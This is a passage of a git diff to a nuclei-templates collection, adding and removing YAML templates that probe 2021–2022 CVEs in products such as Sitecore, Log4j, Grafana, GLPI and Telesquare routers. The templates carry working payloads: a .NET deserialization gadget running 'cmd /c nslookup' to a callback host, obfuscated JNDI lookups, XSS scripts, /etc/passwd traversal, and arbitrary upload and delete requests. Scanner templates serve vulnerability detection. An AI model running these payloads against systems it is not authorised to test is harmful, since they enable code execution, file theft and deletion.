CWE-502 + tags: rce,sitecore,deserialization,oast + +requests: + - raw: + - | + POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + + + + + foo + + + + 2 + + <_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" + xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" + xmlns:a="http://schemas.datacontract.org/2004/07/System"> + + mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + Compare + + + System.String + System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] + + Start + + System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + System.Diagnostics.Process + System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] + + + + + + System.Diagnostics.Process Start(System.String, System.String) + System.Diagnostics.Process Start(System.String, System.String) + 8 + + + + + + + Int32 Compare(System.String, System.String) + System.Int32 Compare(System.String, System.String) + 8 + + + + + 2 + + /c nslookup {{interactsh-url}} + cmd + + + + + + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms DNS Interaction + words: + - "dns" + + - type: word + part: body + words: + - "System.ArgumentNullException" diff --git a/nuclei-templates/CVE-2021/CVE-2021-42258.yaml b/nuclei-templates/CVE-2021/cve-2021-42258.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-42258.yaml rename to nuclei-templates/CVE-2021/cve-2021-42258.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-42565.yaml b/nuclei-templates/CVE-2021/cve-2021-42565.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-42565.yaml rename to nuclei-templates/CVE-2021/cve-2021-42565.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-42566.yaml b/nuclei-templates/CVE-2021/cve-2021-42566.yaml new file mode 100644 index 0000000000..ce8fb35f82 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-42566.yaml @@ -0,0 +1,39 @@ +id: CVE-2021-42566 + +info: + name: myfactory FMS - Reflected XSS + author: madrobot + severity: medium + description: myfactory.FMS before 7.1-912 allows XSS via the Error parameter. + reference: + - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-001/-cross-site-scripting-in-myfactory-fms + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-42566 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-42566 + cwe-id: CWE-79 + tags: cve,cve2021,myfactory,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + - '{{BaseURL}}/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "" + condition: and + + - type: word + part: header + words: + - "text/html" diff --git a/nuclei-templates/CVE-2021/cve-2021-42567.yaml b/nuclei-templates/CVE-2021/cve-2021-42567.yaml new file mode 100644 index 0000000000..5a45c91b8b --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-42567.yaml @@ -0,0 +1,42 @@ +id: CVE-2021-42567 + +info: + name: Apereo CAS Reflected XSS + author: pdteam + severity: medium + description: Apereo CAS through 6.4.1 allows XSS via POST requests sent to the REST API endpoints. + reference: + - https://apereo.github.io/2021/10/18/restvuln/ + - https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html + - https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md + - https://nvd.nist.gov/vuln/detail/CVE-2021-42567 + - https://github.com/apereo/cas/releases + tags: cve,cve2021,apereo,xss,cas + metadata: + shodan-query: http.title:'CAS - Central Authentication Service' + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-42567 + cwe-id: CWE-79 + +requests: + - raw: + - | + POST /cas/v1/tickets/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test + + matchers-condition: and + matchers: + - type: word + words: + - '' + - 'java.util.HashMap' + condition: and + + - type: status + status: + - 401 diff --git a/nuclei-templates/CVE-2021/cve-2021-43062.yaml b/nuclei-templates/CVE-2021/cve-2021-43062.yaml deleted file mode 100644 index 4be91bc361..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-43062.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2021-43062 - -info: - name: Fortinet FortiMail 7.0.1 - Reflected Cross-Site Scripting - author: ajaysenr - severity: medium - description: A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-43062 - - https://www.fortiguard.com/psirt/FG-IR-21-185 - - https://www.exploit-db.com/exploits/50759 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-43062 - cwe-id: CWE-79 - tags: cve,cve2021,fortimail,xss,fortinet - -requests: - - method: GET - path: - - "{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - "FortiMail Click Protection" - condition: and - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/28 diff --git a/nuclei-templates/CVE-2021/CVE-2021-43496.yaml b/nuclei-templates/CVE-2021/cve-2021-43496.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-43496.yaml rename to nuclei-templates/CVE-2021/cve-2021-43496.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-43778.yaml b/nuclei-templates/CVE-2021/cve-2021-43778.yaml new file mode 100644 index 0000000000..15c78b3cdb --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-43778.yaml @@ -0,0 +1,30 @@ +id: CVE-2021-43778 + +info: + name: GLPI plugin Barcode < 2.6.1 path traversal vulnerability. + author: cckuailong + severity: critical + description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability. This issue was patched in version 2.6.1. As a workaround, delete the `front/send.php` file.. + reference: + - https://github.com/AK-blank/CVE-2021-43778 + - https://nvd.nist.gov/vuln/detail/CVE-2021-43778 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-score: 9.1 + cve-id: CVE-2021-43778 + tags: glpi,cve,cve2021,lfi,plugin,traversal + +requests: + - method: GET + path: + - "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: regex + regex: + - "root:.*:0:0" diff --git a/nuclei-templates/CVE-2021/cve-2021-43798.yaml b/nuclei-templates/CVE-2021/cve-2021-43798.yaml new file mode 100644 index 0000000000..1349e5fd93 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-43798.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-43798 + +info: + name: Grafana v8.x Arbitrary File Read + author: z0ne,dhiyaneshDk + severity: high + description: Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is `/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline. + reference: + - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p + - https://nosec.org/home/detail/4914.html + - https://github.com/jas502n/Grafana-VulnTips + tags: cve,cve2021,grafana,lfi + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2021-43798 + +requests: + - method: GET + path: + - "{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-44152.yaml b/nuclei-templates/CVE-2021/cve-2021-44152.yaml deleted file mode 100644 index 057a35f077..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-44152.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: unauth-rlm - -info: - name: Unauthenticated Reprise License Manager - author: Akincibor - severity: critical - tags: unauth,rlm - -requests: - - method: GET - path: - - "{{BaseURL}}/goforms/menu" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - "RLM Administration Commands" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-44228.yaml b/nuclei-templates/CVE-2021/cve-2021-44228.yaml deleted file mode 100644 index a595763c16..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-44228.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2021-44228 - -info: - name: Remote code injection in Log4j - author: melbadry9,dhiyaneshDK,daffainfo - severity: critical - description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. - reference: - - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q - - https://www.lunasec.io/docs/blog/log4j-zero-day/ - - https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a - tags: cve,cve2021,rce,oast,log4j - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - User-Agent: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}${lower:i}}://${hostName}.{{interactsh-url}}/poc} - X-Api-Version: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}${lower:i}}://${hostName}.{{interactsh-url}}/poc} - Referer: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}${lower:i}}://${hostName}.{{interactsh-url}}/poc} - X-Forwarded-For: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}${lower:i}}://${hostName}.{{interactsh-url}}/poc} - Authentication: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}${lower:i}}://${hostName}.{{interactsh-url}}/poc} - - - - - - - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the DNS Interaction - words: - - "dns" - - - type: regex - part: interactsh_request - regex: - - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable - - extractors: - - type: regex - part: interactsh_request - group: 1 - regex: - - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output diff --git a/nuclei-templates/CVE-2021/CVE-2021-44427.yaml b/nuclei-templates/CVE-2021/cve-2021-44427.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-44427.yaml rename to nuclei-templates/CVE-2021/cve-2021-44427.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-44515.yaml b/nuclei-templates/CVE-2021/cve-2021-44515.yaml new file mode 100644 index 0000000000..ee675dcc14 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-44515.yaml @@ -0,0 +1,52 @@ +id: CVE-2021-44515 + +info: + name: Zoho ManageEngine Desktop Central - Remote Code Execution + author: Adam Crosser + severity: critical + description: Zoho ManageEngine Desktop Central contains an authentication bypass vulnerability that could allow an attacker to execute arbitrary code in the Desktop Central MSP server. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. + remediation: For Enterprise builds 10.1.2127.17 and earlier, upgrade to 10.1.2127.18. For Enterprise builds 10.1.2128.0 through 10.1.2137.2, upgrade to 10.1.2137.3. For MSP builds 10.1.2127.17 and earlier, upgrade to 10.1.2127.18. For MSP builds 10.1.2128.0 through 10.1.2137.2, upgrade to 10.1.2137.3. + reference: + - https://www.cisa.gov/uscert/ncas/current-activity/2021/12/10/cisa-adds-13-known-exploited-vulnerabilities-catalog + - https://srcincite.io/blog/2022/01/20/zohowned-a-critical-authentication-bypass-on-zoho-manageengine-desktop-central.html + - https://attackerkb.com/topics/rJw4DFI2RQ/cve-2021-44515/rapid7-analysis + - https://pitstop.manageengine.com/portal/en/community/topic/an-authentication-bypass-vulnerability-identified-and-fixed-in-desktop-central-and-desktop-central-msp + - https://nvd.nist.gov/vuln/detail/CVE-2021-44515 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-44515 + cwe-id: CWE-287 + epss-score: 0.97233 + epss-percentile: 0.99811 + cpe: cpe:2.3:a:zohocorp:manageengine_desktop_central:*:*:*:*:enterprise:*:*:* + metadata: + max-request: 1 + vendor: zohocorp + product: manageengine_desktop_central + tags: cve2021,cve,zoho,rce,manageengine,kev,zohocorp + +http: + - raw: + - | + GET /STATE_ID/123/agentLogUploader HTTP/1.1 + Host: {{Hostname}} + Cookie: STATE_COOKIE=&_REQS/_TIME/123 + + matchers-condition: and + matchers: + - type: dsl + dsl: + - "len(body) == 0" + + - type: word + part: header + words: + - "UEMJSESSIONID=" + + - type: status + status: + - 200 +# digest: 490a00463044022068d48f3ed1b18a18f6d8a7aab9d329d2ef1ab59ae7975558fcc658030c86758602202beae5f2b5f2ef43937f43f3cbf3feb749df245d2e841fa8df5963b2c96ae819:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-44528.yaml b/nuclei-templates/CVE-2021/cve-2021-44528.yaml deleted file mode 100644 index d0a3ea82cb..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-44528.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-44528 - -info: - name: Open Redirect in Host Authorization Middleware - author: geeknik - severity: medium - description: Specially crafted "X-Forwarded-Host" headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website. - reference: - - https://seclists.org/oss-sec/2021/q4/att-160/7-0-host-authorzation-open-redirect.patch - - https://nvd.nist.gov/vuln/detail/CVE-2021-44528 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-44528 - cwe-id: CWE-601 - tags: cve,cve2021,redirect - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - X-Forwarded-Host: //example.com - - matchers-condition: and - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' - - - type: status - status: - - 301 - - 302 - - 307 - - 308 diff --git a/nuclei-templates/CVE-2021/cve-2021-44529.yaml b/nuclei-templates/CVE-2021/cve-2021-44529.yaml deleted file mode 100644 index 669869e4a2..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-44529.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2021-44529 - -info: - name: Ivanti EPM Cloud Services Appliance Code Injection - author: duty_1g,phyr3wall,Tirtha - severity: critical - description: "Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody)." - reference: - - https://forums.ivanti.com/s/article/SA-2021-12-02 - - https://twitter.com/Dinosn/status/1505273954478530569 - - https://nvd.nist.gov/vuln/detail/CVE-2021-44529 - metadata: - shodan-query: title:"LANDesk(R) Cloud Services Appliance" - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2021-44529 - cwe-id: CWE-94 - tags: cve,cve2021,ivanti,epm,csa,injection - -requests: - - raw: - - | - GET /client/index.php HTTP/1.1 - Host: {{Hostname}} - Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=; - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "phpinfo()" - - "Cloud Services Appliance" - condition: and - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/28 diff --git a/nuclei-templates/CVE-2021/cve-2021-44848.yaml b/nuclei-templates/CVE-2021/cve-2021-44848.yaml deleted file mode 100644 index 8dc769da77..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-44848.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2021-44848 - -info: - name: Thinfinity VirtualUI User Enumeration - author: danielmofer - severity: medium - description: Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.) - reference: - - https://github.com/cybelesoft/virtualui/issues/1 - - https://nvd.nist.gov/vuln/detail/CVE-2021-44848 - - https://www.tenable.com/cve/CVE-2021-44848 - tags: cve,cve2021,exposure,thinfinity,virtualui - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2021-44848 - cwe-id: CWE-287 - -requests: - - raw: - - | - GET /changePassword?username=administrator HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - '"rc":(.*?)' - - '"msg":"(.*?)"' - condition: and - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-45092.yaml b/nuclei-templates/CVE-2021/cve-2021-45092.yaml new file mode 100644 index 0000000000..de0a46b7c4 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-45092.yaml @@ -0,0 +1,29 @@ +id: CVE-2021-45092 + +info: + name: Thinfinity Iframe Injection + author: danielmofer + severity: critical + description: Thinfinity VirtualUI is a web remote desktop system, a vulnerability exist in a function located in /lab.html reachable by default that could allow IFRAME injection via the "vpath" parameter. + reference: + - https://github.com/cybelesoft/virtualui/issues/2 + - https://nvd.nist.gov/vuln/detail/CVE-2021-44848 + - https://www.tenable.com/cve/CVE-2021-45092 + tags: cve,cve2021,injection,iframe,thinfinity + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-45092 + cwe-id: CWE-74 + +requests: + - method: GET + path: + - "{{BaseURL}}/lab.html?vpath=//example.com" + + matchers: + - type: regex + regex: + - ".*vpath.*" + - "thinfinity" + condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-45232.yaml b/nuclei-templates/CVE-2021/cve-2021-45232.yaml deleted file mode 100644 index d524c6ff99..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-45232.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2021-45232 - -info: - name: Apache APISIX Dashboard api unauth access - author: Mr-xn - severity: critical - description: In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework `droplet` on the basis of framework `gin`, all APIs and authentication middleware are developed based on framework `droplet`, but some API directly use the interface of framework `gin` thus bypassing the authentication. - reference: - - https://apisix.apache.org/zh/blog/2021/12/28/dashboard-cve-2021-45232/ - - https://github.com/pingpongcult/CVE-2021-45232 - - https://github.com/advisories/GHSA-wcxq-f256-53xp - - https://twitter.com/403Timeout/status/1475715079173976066 - - https://github.com/wuppp/cve-2021-45232-exp - tags: cve,cve2021,apache,unauth,apisix - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2021-45232 - cwe-id: CWE-306 - -requests: - - method: GET - path: - - "{{RootURL}}/apisix/admin/migrate/export" - - matchers-condition: and - matchers: - - - type: word - words: - - '"Consumers":' - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-45428.yaml b/nuclei-templates/CVE-2021/cve-2021-45428.yaml new file mode 100644 index 0000000000..8b2a48eadd --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-45428.yaml @@ -0,0 +1,56 @@ +id: CVE-2021-45428 + +info: + name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload + author: gy741 + severity: critical + description: | + TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats. + impact: | + Successful exploitation of this vulnerability could result in unauthorized accessand data leakage. + remediation: | + Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability. + reference: + - https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing + - http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-45428 + - https://github.com/ARPSyndicate/cvemon + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-45428 + cwe-id: CWE-639 + epss-score: 0.08441 + epss-percentile: 0.94265 + cpe: cpe:2.3:o:telesquare:tlr-2005ksh_firmware:-:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 3 + vendor: telesquare + product: tlr-2005ksh_firmware + shodan-query: http.html:"TLR-2005KSH" + tags: cve2021,cve,telesquare,intrusive,fileupload,packetstorm + +http: + - raw: + - | + GET /{{randstr}}.txt HTTP/1.1 + Host: {{Hostname}} + - | + PUT /{{randstr}}.txt HTTP/1.1 + Host: {{Hostname}} + + CVE-2021-45428 + - | + GET /{{randstr}}.txt HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'status_code_1 == 404 && status_code_2 == 201' + - 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200' + condition: and +# digest: 490a004630440220731289291f5a3ad0eb6d9188430902ac5c2ffc770aa6ca643ea9082b2322a88602200b155a601c9353a99db54628cab14b6d69a78a5b59adedca0dd9c7181b9ac3d9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-45968.yaml b/nuclei-templates/CVE-2021/cve-2021-45968.yaml deleted file mode 100644 index 3cf2c2d6fa..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-45968.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2021-45968 - -info: - name: Pascom CPS Path Traversal - author: dwisiswant0 - severity: high - description: | - Pascom version packaged with Cloud Phone System (CPS) - versions before 7.20 contains a known path traversal issue - reference: - - https://kerbit.io/research/read/blog/4 - tags: cve,cve2021,pascom,lfi - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2021-45968 - cwe-id: CWE-22 - -requests: - - raw: - - | - GET /services/pluginscript/ HTTP/1.1 - Host: {{Hostname}} - - - | # Double parent to access CMS index - GET /services/pluginscript/..;/..;/ HTTP/1.1 - Host: {{Hostname}} - - - | # Verifying CMS - GET / HTTP/1.1 - Host: {{Hostname}} - - req-condition: true - matchers: - - type: dsl - dsl: - - "status_code_2 != status_code_1" - - "contains(body_2, 'pascom GmbH & Co KG') || contains(body_3, 'pascom GmbH & Co KG')" # Verifying CMS - condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-46424.yaml b/nuclei-templates/CVE-2021/cve-2021-46424.yaml new file mode 100644 index 0000000000..526ea1ebc4 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-46424.yaml @@ -0,0 +1,51 @@ +id: CVE-2021-46424 + +info: + name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete + author: gy741 + severity: critical + description: Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. + impact: | + Successful exploitation could lead to loss of critical data or system instability. + remediation: | + Apply the latest patch or update provided by the vendor to fix the vulnerability. + reference: + - https://dl.packetstormsecurity.net/2205-exploits/tlr2005ksh-filedelete.txt + - https://drive.google.com/drive/folders/1_e3eJ8fzhCWnCkoRpbLoyQecuKkPR4OD?usp=sharing + - http://packetstormsecurity.com/files/167127/TLR-2005KSH-Arbitrary-File-Delete.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-46424 + - https://github.com/ARPSyndicate/cvemon + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H + cvss-score: 9.1 + cve-id: CVE-2021-46424 + cwe-id: CWE-306 + epss-score: 0.0159 + epss-percentile: 0.86024 + cpe: cpe:2.3:o:telesquare:tlr-2005ksh_firmware:1.0.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 3 + vendor: telesquare + product: tlr-2005ksh_firmware + shodan-query: http.html:"TLR-2005KSH" + tags: cve2021,cve,telesquare,intrusive,packetstorm + +http: + - raw: + - | + GET /images/icons_title.gif HTTP/1.1 + Host: {{Hostname}} + - | + DELETE /images/icons_title.gif HTTP/1.1 + Host: {{Hostname}} + - | + GET /images/icons_title.gif HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: dsl + dsl: + - "status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404" +# digest: 4a0a004730450221009d270c5f4ca3ebb0ecffa66f1be4389e9dfea415dd3f34c629b79075cb63c8ed02200f56a6bd33139269c0e0c259baf2e964cc9fa165a986c54c00d8a929f10bc1be:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-0281.yaml b/nuclei-templates/CVE-2022/CVE-2022-0281.yaml deleted file mode 100644 index 4aef64639e..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-0281.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2022-0281 - -info: - name: Microweber Information Disclosure - author: pikpikcu - severity: high - description: Microweber contains a vulnerability that allows exposure of sensitive information to an unauthorized actor in Packagist microweber/microweber prior to 1.2.11. - remediation: | - Apply the latest security patch or update provided by the Microweber CMS vendor to fix the information disclosure vulnerability (CVE-2022-0281). - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-0281 - - https://github.com/microweber/microweber/commit/e680e134a4215c979bfd2eaf58336be34c8fc6e6 - - https://huntr.dev/bounties/315f5ac6-1b5e-4444-ad8f-802371da3505 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-0281 - cwe-id: CWE-200 - epss-score: 0.0051 - epss-percentile: 0.73904 - cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: microweber - product: microweber - shodan-query: http.favicon.hash:780351152 - tags: cve,cve2022,microweber,disclosure,huntr - -http: - - method: GET - path: - - "{{BaseURL}}/api/users/search_authors" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"username":' - - '"email":' - - '"display_name":' - condition: and - - - type: status - status: - - 200 - -# digest: 4a0a004730450220040ee577156c750a95e10934304cc491c6171bb734e6f04fa6e5e4236b894c670221008c9c5c4bbf0c789b7e4bcc2a9c45c2ed788abd0b1fa69d9aeded5425915f94ef:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2022/CVE-2022-0432.yaml b/nuclei-templates/CVE-2022/CVE-2022-0432.yaml deleted file mode 100644 index 61b606cd13..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-0432.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2022-0432 - -info: - name: Mastodon Prototype Pollution Vulnerability - author: pikpikcu - severity: medium - description: The GitHub repository mastodon/mastodon prior to 3.5.0 contains a Prototype Pollution vulnerability. - remediation: | - Apply the latest security patches and updates provided by the Mastodon project to mitigate the vulnerability. - reference: - - https://github.com/mastodon/mastodon/commit/4d6d4b43c6186a13e67b92eaf70fe1b70ea24a09 - - https://drive.google.com/file/d/1vpZ0CcmFhTEUasLTPUBf8o-4l7G6ojtG/view - - https://nvd.nist.gov/vuln/detail/CVE-2022-0432 - - https://huntr.dev/bounties/d06da292-7716-4d74-a129-dd04773398d7 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-0432 - cwe-id: CWE-1321 - epss-score: 0.001 - epss-percentile: 0.41081 - cpe: cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: joinmastodon - product: mastodon - tags: mastodon,prototype,huntr,cve,cve2022 - -http: - - method: GET - path: - - 